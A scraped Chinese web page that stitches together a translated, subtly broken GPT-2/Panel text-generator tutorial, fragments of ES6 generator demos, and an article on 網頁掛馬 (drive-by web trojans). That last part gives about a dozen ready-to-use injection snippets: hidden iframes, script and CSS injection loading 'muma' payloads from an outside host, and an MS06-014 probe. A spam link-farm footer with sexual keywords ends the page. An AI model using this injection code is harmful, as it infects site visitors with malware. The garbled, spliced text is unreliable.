整合營銷服務(wù)商

          電腦端+手機端+微信端=數(shù)據(jù)同步管理

          免費咨詢熱線:

          利用 50 行 Python 代碼構(gòu)建一個在線文本生成器

          指南將引導(dǎo)你學(xué)習(xí)構(gòu)建一個自動完成任意輸入文本的Web應(yīng)用程序。

          作者 | Dev Sharma

          譯者 | 蘇本如,責編 | 郭芮

          出品 | CSDN(ID:CSDNnews)

          以下為譯文:

          在本文中,我們將使用OpenAI的新一代表語言模型GPT-2來建立模型,使用Panel框架來構(gòu)建web頁面的儀表板。本指南分為兩部分。在第一部分中,我們將加載我們的模型并編寫一個預(yù)測函數(shù)。在第二部分中,我們將構(gòu)建一個web應(yīng)用程序。

          自動生成文本的應(yīng)用程序示例。我們將構(gòu)建這個web應(yīng)用程序的一個更簡單的變體。

          準備工作

          本教程假設(shè)你已經(jīng)安裝了Python 3.7+,并且對語言模型有一定的了解。盡管本教程所涉及的所有步驟都可以在Jupyter之外完成,但是強烈建議你使用jupyter notebook。

          我們將使用PyTorch作為我們選擇的深度學(xué)習(xí)庫。在PyTorch中,我們將使用transformers庫導(dǎo)入預(yù)先訓(xùn)練好的OpenGPT-2模型。可以通過在bash命令行中分別輸入以下命令來安裝這些庫:

          pip install torch
          pip install transformers

          對于我們的web應(yīng)用程序,我們將利用Panel這個窗口容器/框架,這是一個很好的工具,可以被用來從jupyter notebooks或者常規(guī)的Python腳本中輕松地創(chuàng)建可維護的儀表板。可以使用以下命令安裝Panel:

          pip install panel

          第一部分:建立模型

          OpenAI的GPT是一種基于transformer的語言模型,它在生成類似人類語言的文本方面受到了很多關(guān)注。如果你以前沒有嘗試過,你很可能會在閱讀結(jié)束時得出同樣的觀點。

          加載模型

          首先,我們需要導(dǎo)入所需的包。詳情如下:

          import numpy as np
          import torch
          import torch.nn.functional as F
          from transformers import GPT2Tokenizer, GPT2LMHeadModel
          from random import choice

          接下來,我們將加載OpenGPT2的Tokenizer和語言模型:(如果是第一次運行,可能需要幾分鐘下載預(yù)先訓(xùn)練的模型)

          tok = GPT2Tokenizer.from_pretrained("gpt2")
          model = GPT2LMHeadModel.from_pretrained("gpt2")

          預(yù)測函數(shù)

          在這個階段,大部分工作已經(jīng)完成了。因為我們的模型是預(yù)先訓(xùn)練過的,所以我們不需要再次訓(xùn)練它或做任何修改。我們只需要編寫一個函數(shù),它可以向模型輸入文本并生成預(yù)測的文本。

          def get_pred(text, model, tok, p=0.7):
          input_ids = torch.tensor(tok.encode(text)).unsqueeze(0)
          logits = model(input_ids)[0][:, -1]
          probs = F.softmax(logits, dim=-1).squeeze
          idxs = torch.argsort(probs, descending=True)
          res, cumsum = , 0.
          for idx in idxs:
          res.append(idx)
          cumsum += probs[idx]
          if cumsum > p:
          pred_idx = idxs.new_tensor([choice(res)])
          break
          pred = tok.convert_ids_to_tokens(int(pred_idx))
          return tok.convert_tokens_to_string(pred)

          這個函數(shù)中發(fā)生了很多事情。因此,讓我們把它分解來看看。首先,我們對input_ids中的輸入文本進行標記(tokenize)和編碼(encode)。接著,我們要求我們的模型為下一個單詞/標記(token)生成一個logits向量。在應(yīng)用softmax函數(shù)并按降序?qū)@些可能的概率結(jié)果進行排序之后,我們得到了一個向量idxs,它按各自的概率順序列出了每個token的索引。

          在這個階段,我們可以選擇概率最高的token。但是,我們希望能夠混合結(jié)果,以便相同的輸入文本可以生成各種文本。為此,我們將添加一個隨機元素,從最可能的下一個token列表中選擇一個隨機token。這樣的話,我們就不會每次都選擇相同的預(yù)測token。為了做到這一點,我們采用了Nucleus (Top-p) Sampling 方式。

          我們通過循環(huán)遍歷每個概率來執(zhí)行此操作,直到循環(huán)遍歷的所有概率之和大于p(這里的p是一個介于0到1之間的任意數(shù)字)。當p被超過前,所有遍歷到的token都將被存儲在列表res中。一旦p被超過,我們就從這個列表中隨機選擇一個token。請記住,我們正在遍歷的概率列表包含了其按概率排序的索引。注意,p值越高,我們的列表中將包含更多的token。反之亦然。因此,如果每次都希望得到相同的結(jié)果,可以將p值設(shè)置為0。

          現(xiàn)在,讓我們測試一下我們的預(yù)測函數(shù):

          每次都會有不同的結(jié)果,這正是我們所期望的。現(xiàn)在,我們的預(yù)測功能準備好了。讓我們開始構(gòu)建我們的Web應(yīng)用程序吧!

          第二部分:構(gòu)建web應(yīng)用程序

          Panel框架簡介

          如果你還不熟悉Panel框架,那請記住,Panel框架可以幫助我們創(chuàng)建一個web儀表板和web應(yīng)用程序。簡而言之,你需要知道的是它有三個主要組件:

          • Panel:可以包含一個或多個窗格(pane)對象的容器,面板(pane)對象是指文本、圖像、圖形、小部件等(也可以包含其他panel);

          • Pane:任何單個對象,例如文本、圖像、數(shù)據(jù)幀等;

          • Widget(小部件):用戶可以自行調(diào)整的項目,包括文本輸入框、滑塊、按鈕、復(fù)選框,等等可以改變窗格的行為的小部件。

          下一個也是最后一個你需要知道的事情是:我們有多種方法來定義不同的窗格和小部件之間的交互方式,我們稱之為“callback(回調(diào))”。例如,如果按下某個按鈕,其他窗格應(yīng)該如何更新呢?稍后我們將定義一個回調(diào)函數(shù)來演示它將如何準確地做到這一點。

          Web應(yīng)用程序簡介

          我們的文本生成器應(yīng)用程序?qū)⒂幸粋€輸入窗口,以便用戶輸入他們想要輸入的文本。接下來,用戶應(yīng)該能夠通過按下按鈕生成新的token。在這之后,它將使用我們在第一部分中定義的預(yù)測函數(shù)來預(yù)測新的token來生成新文本。最后,用戶應(yīng)該能夠在已經(jīng)預(yù)測的token基礎(chǔ)之上繼續(xù)生成新的文本。

          實施

          讓我們首先導(dǎo)入Panel并創(chuàng)建文本輸入小部件:

          import panel as pn
          pn.extension # loading panel's extension for jupyter compatibility text_input = pn.widgets.TextInput

          現(xiàn)在,如果在jupyter中執(zhí)行文本輸入,我們將得到以下結(jié)果:

          接下來,我們需要一個窗格,它會在越來越多的token生成時存儲整個文本:

          generated_text = pn.pane.Markdown(object=text_input.value)

          注意,這里我們將文本對象設(shè)置為text_input的值。我們希望generated_text的值與text_input的值相同,因為我們將要在generated_text之上預(yù)測新文本。隨著越來越多的token被添加到我們的序列中,我們將繼續(xù)基于generated_text進行預(yù)測,直到用戶改變了text_input。一旦用戶改變了text_input,這個進程將重新啟動。

          然而,到這里事情還沒有完全結(jié)束。盡管generated_text將在開始時接受text_input的值,但如果text_input值發(fā)生更改,generated_text值將不會自我更新。為此,我們需要像下面這樣將這兩個對象鏈接在一起:

          text_input.link(generated_text, value='object')

          這里,我們在text_input和generated_text之間形成了單向鏈接。因此,每當text_input的值發(fā)生更改時,generated_text值也將更改為新值。如下所示:

          觀察面板中文的text_input和generated_text之間的鏈接行為。注意:作為組件的pn.Row也是一個面板,即它是一個窗格和小部件的容器。

          現(xiàn)在我們有了兩個文本對象,讓我們來創(chuàng)建按鈕小部件:

          button = pn.widgets.Button(name="Generate",button_type="primary")

          很好,現(xiàn)在我們有了一個按鈕,我們只需要把它和我們想要的行為鏈接起來。為此,我們將編寫一個回調(diào)函數(shù),該函數(shù)將在每次單擊按鈕時運行:

          def click_cb(event):
          pred = get_pred(generated_text.object, model, tok)
          generated_text.object += pred

          這里發(fā)生了兩件事。首先,我們將generated_text作為輸入傳遞給我們之前編寫的預(yù)測函數(shù),該函數(shù)將生成一個新的token。其次,將此token添加到generated_text中。每次新單擊按鈕時,這個過程都會重復(fù)。

          到這里,我們?nèi)匀恍枰獙粹o單擊事件與回調(diào)函數(shù)綁定在一起。我們可以這樣做:

          button.on_click(click_cb)

          我們現(xiàn)在已經(jīng)完成了所有小部件、窗格和函數(shù)的創(chuàng)建。接下來我們需要做的只是把這些東西放在一個面板里,然后看看會發(fā)現(xiàn)什么:

          app = pn.Column(text_input, button, generated_text); app

          注:pn.Column與pn.Row類似,它是另一種類型的panel,即小部件、窗格甚至其他panel的容器。

          讓我們再添加一個標題和一個簡短的描述,我們就大功告成了!

          title = pn.pane.Markdown("# **Text Generator**")
          desc = pn.pane.HTML("<marquee scrollamount='10'><b>Welcome to the text generator! In order to get started, simply enter some starting input text below, click generate a few times and watch it go!</b></marquee>")final_app = pn.Column(title, desc ,app)

          服務(wù)你的Web應(yīng)用程序

          Panel框架使得服務(wù)web應(yīng)用程序變得非常容易。有兩種方法可以用來做這件事。第一個是調(diào)用“.show”命令。這種方法通常用于調(diào)試,如下面所示。它將啟動一個新窗口,在這個窗口中,一個名為final_app的 panel將作為一個web應(yīng)用程序運行。

          final_app.show

          而為了讓它在生產(chǎn)環(huán)境中運行,你需要使用“.servable”方法。但是,如果你以類似于show方法的方式運行此操作,你的筆記本上不會出現(xiàn)任何東西,你必須像下面這樣在你的筆記本上運行bash腳本:

          panel serve --show text_generation_app.ipynb

          只要你的筆記本中有以下代碼,這個操作將在本地端口上啟動你的web應(yīng)用:

          final_app.servable

          大功告成!

          現(xiàn)在,你自己有能力構(gòu)建一個自動生成文本的應(yīng)用程序。你可以通過添加更多panel組件來進一步完善它。你甚至可以將此應(yīng)用程序嵌入到其他項目中。像往常一樣,你可以在github上找到我的代碼庫。注意:下面圖片中的app是我在本教程中使用的app(text_generation_app.ipynb)的高級變體:。

          原文:https://towardsdatascience.com/build-a-text-generator-web-app-in-under-50-lines-of-python-9b63d47edabb

          本文為 CSDN 翻譯,轉(zhuǎn)載請注明來源出處。

          【End】

          成器(Generator)

          生成器函數(shù)是ES6提供的一種異步編程解決方案,語法行為與傳統(tǒng)函數(shù)完全不同。通過構(gòu)造函數(shù)Generator創(chuàng)建的對象,生成器既是一個迭代器,同時又是一個可迭代對象。

          代碼案例

          案例一:

          <!DOCTYPE html>
          <html lang="en">
          <head>
              <meta charset="UTF-8">
              <meta name="viewport" content="width=device-width, initial-scale=1.0">
              <title>ES6,ES6,生成器(Generator),異步編程的新解決方案</title>
          </head>
          <body>
              <script>
                  function * gen(){
                      yield '我總算學(xué)會了如何去愛,';
                      yield '可惜你早已遠去,消失在人海,';
                      return '后來 終于在眼淚中明白'; 
                  }
                  let iterator = gen();
                  console.log(iterator.next());
                  console.log(iterator.next());
                  console.log(iterator.next());
              </script>
          </body>
          </html>

          案例2,生成器函數(shù)參數(shù):

          <!DOCTYPE html>
          <html lang="en">
          <head>
              <meta charset="UTF-8">
              <meta name="viewport" content="width=device-width, initial-scale=1.0">
              <title>ES6,ES6,生成器(Generator),生成器函數(shù)參數(shù)</title>
          </head>
          <body>
              <script>
                  function * gen(arg){
                      console.log(arg);
                      let one = yield 111;
                      console.log(one);
                      let two = yield 222;
                      console.log(two);
                      let three = yield 333;
                      console.log(three);
                  }
                  //執(zhí)行獲取迭代器對象
                  let iterator = gen('AAA');
                  console.log(iterator.next());
                  //next方法可以傳入實參
                  console.log(iterator.next('BBB'));
                  console.log(iterator.next('CCC'));
                  console.log(iterator.next('DDD'));
              </script>
          </body>
          </html>

          案例3,生成器函數(shù):

          <!DOCTYPE html>
          <html lang="en">
          <head>
              <meta charset="UTF-8">
              <meta name="viewport" content="width=device-width, initial-scale=1.0">
              <title>ES6,ES6,生成器(Generator),生成器函數(shù)</title>
          </head>
          <body>
              <script>
                  //模擬獲取  用戶數(shù)據(jù)  訂單數(shù)據(jù)  商品數(shù)據(jù) 
                  function getUsers(){
                      setTimeout(()=>{
                          let data = '用戶數(shù)據(jù)';
                          //調(diào)用 next 方法, 并且將數(shù)據(jù)傳入
                          iterator.next(data);
                      }, 1000);
                  }
                  function getOrders(){
                      setTimeout(()=>{
                          let data = '訂單數(shù)據(jù)';
                          iterator.next(data);
                      }, 1000)
                  }
                  function getGoods(){
                      setTimeout(()=>{
                          let data = '商品數(shù)據(jù)';
                          iterator.next(data);
                      }, 1000)
                  }
                  function * gen(){
                      let users = yield getUsers();
                      let orders = yield getOrders();
                      let goods = yield getGoods();
                  }
                  //調(diào)用生成器函數(shù)
                  let iterator = gen();
                  iterator.next();
              </script>
          </body>
          </html>

          案例4,生成器函數(shù)實例:

          最近整理了一些奇安信&華為&深信服大佬的課件資料+大廠面試課題,想要的可以私信自取,無償贈送給粉絲朋友~

          網(wǎng)頁掛馬的原理和實現(xiàn)方式

          今天,有一位網(wǎng)友問了我一個問題,他自己已經(jīng)有了網(wǎng)站了,現(xiàn)在他想做成“掛馬”這種網(wǎng)站,只要打開它,電腦就有可能感染木馬病毒。

          木馬是需要觸發(fā)才有效果的,觸發(fā)條件:要么欺騙用戶主動,要么利用漏洞。可能他對木馬、掛馬、網(wǎng)馬這些不是很理解,因此我特意發(fā)了此篇文章。

          一、掛馬、網(wǎng)馬介紹

          1、掛馬

          從“掛馬”這個詞中就知道,它和“木馬”脫離不了關(guān)系,的確,掛馬的目的就是將木馬傳播出去。

          黑客入侵了一些網(wǎng)站之后,將自己編定的網(wǎng)頁木馬嵌入到其網(wǎng)站的頁面(通常是在網(wǎng)站主頁)中,利用該網(wǎng)站的流量將自己的網(wǎng)頁木馬傳播出去從而達到自己的目的。

          2、網(wǎng)馬

          網(wǎng)馬,即“網(wǎng)頁木馬”,就是將木馬和網(wǎng)頁結(jié)合在一起,當打開網(wǎng)頁的時候就會自動下載并運行其木馬程序。

          二、網(wǎng)頁木馬運行原理

          最初的網(wǎng)頁木馬就是利用了IE瀏覽器的ActiveX控件,在運行網(wǎng)頁木馬的時候會彈出一個控件下載提示,只有經(jīng)過用戶確認后才會運行其中的木馬。

          目前新型的木馬通常利用IE瀏覽器存在的漏洞來傳播網(wǎng)頁木馬。

          當然,現(xiàn)在瀏覽器不僅僅是指IE,還有很多其它的瀏覽器,例如:谷歌、百度、360、搜狗、QQ、火狐瀏覽器......等等。

          三、網(wǎng)頁掛馬步驟

          1、申請網(wǎng)站空間:將木馬程序和網(wǎng)馬全部上傳到該網(wǎng)站空間,使其可以被訪問,假如申請成功后的網(wǎng)站空間地址為“http://www.xxx.com/xxx”;

          2、上傳木馬程序:上傳完成后木馬的訪問地址為“http://www.xxx.com/horse.exe”;

          3、使用網(wǎng)頁木馬生成器生成網(wǎng)馬:假如生成后網(wǎng)馬地址為“http://www.xxx.com/horse.htm”;

          4、進行掛馬:將生成后的網(wǎng)馬地址嵌入到其他正常的網(wǎng)站頁面,假如嵌入到騰訊的主頁“http://www.qq.com/index.htm”;

          四、網(wǎng)頁掛馬的實現(xiàn)方式

          1、框架掛馬

          <iframe src=地址 width=0 height=0></iframe>

          2、JS文件掛馬

          首先將以下代碼:

          document.write("<iframe width='0' height='0' src='地址'></iframe>");

          保存為xxx.js。

          則JS掛馬代碼為:

          <script language=javascript src=xxx.js></script>

          3、JS變形加密

          <SCRIPT language="JScript.Encode" src=https://www.fujieace.com/muma.txt></script>

          muma.txt可改成任意后綴;

          4、body掛馬

          <body onload="window.location='地址';"></body>

          5、隱蔽掛馬

          top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="https://www.fujieace.com/muma.htm/"></iframe>';

          6、css掛馬

          body {
          background-image: url('javascript:document.write("<script src=https://www.fujieace.com/muma.js></script>")')}

          7、JAJA掛馬

          <SCRIPT language=javascript>
          window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
          </script>

          8、圖片偽裝

          <html>
          <iframe src="網(wǎng)馬地址" height=0 width=0></iframe>
          <img src="圖片地址"></center>
          </html>

          9、偽裝調(diào)用

          <frameset rows="444,0" cols="*">
          <frame src="打開網(wǎng)頁" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
          <frame src="網(wǎng)馬地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
          </frameset>

          10、高級欺騙

          <a href="http://www.163.com(迷惑連接地址,顯示這個地址指向木馬地址)" onMouseOver="www_163_com(); return true;"> 頁面要顯示的內(nèi)容 </a>
          <SCRIPT Language="JavaScript">
          function www_163_com ()
          {
          var url="網(wǎng)馬地址";
          open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
          }
          </SCRIPT>

          11、判斷系統(tǒng)代碼

          <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
          <HTML><HEAD><TITLE>404</TITLE>
          <META http-equiv=Content-Type content="text/html; charset=windows-1252">
          <META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>
          <BODY>
          <SCRIPT language=javascript>
          window.status="";
          if(navigator.userAgent.indexOf("Windows NT 5.1") != -1)
          window.location.href="tk.htm";
          else
          window.location.href="upx06014.htm";
          </SCRIPT>
          </BODY></HTML>

          12、判斷是否有ms06014代碼

          <script language=VBScript>
          on error resume next
          set server = document.createElement("object")
          server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
          set File = server.createobject(Adodb.Stream,"")
          if Not Err.Number = 0 then
          err.clear
          document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
          else
          document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
          end if
          </script>

          13、智能讀取js的代碼demo

          //讀娶src的對象
          var v = document.getElementById("advjs");
          //讀娶src的參數(shù)
          var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));
          document.write("<iframe src=\"https://www.fujieace.com/1/"+u_num+".htm\" width=\"0\" height=\"0\" frameborder=\"0\"></iframe>");
          document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">");
          document.writeln("<HTML><HEAD>");
          document.writeln("<META http-equiv=Content-Type content=\"text\/html; charset=big5\">");
          document.writeln("<META content=\"MSHTML 6.00.2900.3059\" name=GENERATOR><\/HEAD>");
          document.writeln("<BODY> ");
          document.writeln("<DIV style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\">");
          document.writeln("<DIV ");
          document.writeln("style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\"><\/DIV><\/DIV><\/BODY><\/HTML>")
          //分析src的參數(shù)函數(shù)
          function getUrlParameterAdv(asName,lsURL){
          loU = lsURL.split("?");
          if (loU.length>1){
          var loallPm = loU[1].split("&");
          for (var i=0; i<loallPm.length; i++){
          var loPm = loallPm.split("=");
          if (loPm[0]==asName){
          if (loPm.length>1){
          return loPm[1];
          }else{
          return "";
          }
          }
          }
          }
          return null; 

          文章來源公眾號:程哥講安全


          主站蜘蛛池模板: 亚洲国产成人久久一区WWW | 99偷拍视频精品一区二区| 亚洲熟妇av一区二区三区下载| 日本精品啪啪一区二区三区| 亚洲美女一区二区三区| 精品人妻中文av一区二区三区 | 香蕉免费一区二区三区| 中文字幕精品一区| 夜夜嗨AV一区二区三区 | 成人精品一区二区激情| 亚洲中文字幕乱码一区| 国产精品xxxx国产喷水亚洲国产精品无码久久一区 | 无码日韩精品一区二区人妻| 四虎成人精品一区二区免费网站 | 日韩免费视频一区二区| 无码精品尤物一区二区三区 | 九九无码人妻一区二区三区| 91一区二区三区| 国模少妇一区二区三区| 色窝窝无码一区二区三区成人网站| 日韩一区二区三区电影在线观看| 国模无码视频一区二区三区| 精品国产日产一区二区三区| 亚洲日韩精品无码一区二区三区 | 一区二区国产在线观看| 精品国产一区二区三区免费 | 亚洲综合一区国产精品| 国产成人一区二区三区精品久久| 国产免费一区二区三区不卡| 久久国产三级无码一区二区| 精品国产免费一区二区三区香蕉| 中文字幕日韩一区二区不卡| 国产精品毛片一区二区| 免费看无码自慰一区二区| 国产成人AV一区二区三区无码| 国产福利一区视频| 天堂一区人妻无码| 亚洲熟妇av一区二区三区下载| 激情内射亚州一区二区三区爱妻| 国产精品一区二区无线| 精品国产日韩亚洲一区在线|